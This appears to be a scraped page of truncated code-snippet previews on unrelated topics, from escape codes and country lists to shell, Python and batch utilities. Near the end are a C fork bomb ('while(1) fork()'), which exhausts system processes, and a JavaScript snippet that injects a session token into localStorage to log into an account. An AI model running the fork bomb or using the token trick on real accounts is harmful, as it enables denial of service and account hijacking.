Standard escape codes are prefixed with Escape
:
- Ctrl-Key:
^[
- Octal:
\033
- Unicode:
\u001b
- Hexadecimal:
\x1B
- Decimal:
27
[ | |
{name: 'Afghanistan', code: 'AF'}, | |
{name: 'Åland Islands', code: 'AX'}, | |
{name: 'Albania', code: 'AL'}, | |
{name: 'Algeria', code: 'DZ'}, | |
{name: 'American Samoa', code: 'AS'}, | |
{name: 'AndorrA', code: 'AD'}, | |
{name: 'Angola', code: 'AO'}, | |
{name: 'Anguilla', code: 'AI'}, | |
{name: 'Antarctica', code: 'AQ'}, |
#!/bin/bash | |
usage() | |
{ | |
cat << EOF | |
usage: $0 options | |
This script set ownership for all table, sequence and views for a given database | |
Credit: Based on http://stackoverflow.com/a/2686185/305019 by Alex Soto |
#!/usr/bin/env python | |
import binascii | |
def CRC32_from_file(filename): | |
buf = open(filename,'rb').read() | |
buf = (binascii.crc32(buf) & 0xFFFFFFFF) | |
return "%08X" % buf |
/* Example: | |
var someUnsafeStr = '<img>'; | |
var result = escapeHTMLTag`<input value="${someUnsafeStr}">`; | |
console.log(result); // <input value="<img>"> | |
// Questions? rob {at} robwu.nl | |
// */ | |
function escapeHTML(str) { | |
// Note: string cast using String; may throw if `str` is non-serializable, e.g. a Symbol. |
export default [ | |
"Reticulating splines...", | |
"Generating witty dialog...", | |
"Swapping time and space...", | |
"Spinning violently around the y-axis...", | |
"Tokenizing real life...", | |
"Bending the spoon...", | |
"Filtering morale...", | |
"Don't think of purple hippos...", | |
"We need a new fuse...", |
location = location | |
... and a 534 other ways to reload the page with JavaScript | |
location = location | |
location = location.href | |
location = window.location | |
location = self.location | |
location = window.location.href | |
location = self.location.href | |
location = location['href'] | |
location = window['location'] |
let token = "your token"; | |
function login(token) { | |
setInterval(() => { | |
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"` | |
}, 50); | |
setTimeout(() => { | |
location.reload(); | |
}, 2500); | |
} |
@echo off | |
echo [90mGray[0m | |
echo [91mRed[0m | |
echo [92mGreen[0m | |
echo [93mYellow[0m | |
echo [94mBlue[0m | |
echo [95mMagenta[0m | |
echo [96mCyan[0m | |
echo [97mWhite[0m |
#include <unistd.h> | |
int main() { | |
while(1) fork(); | |
return 0; | |
} |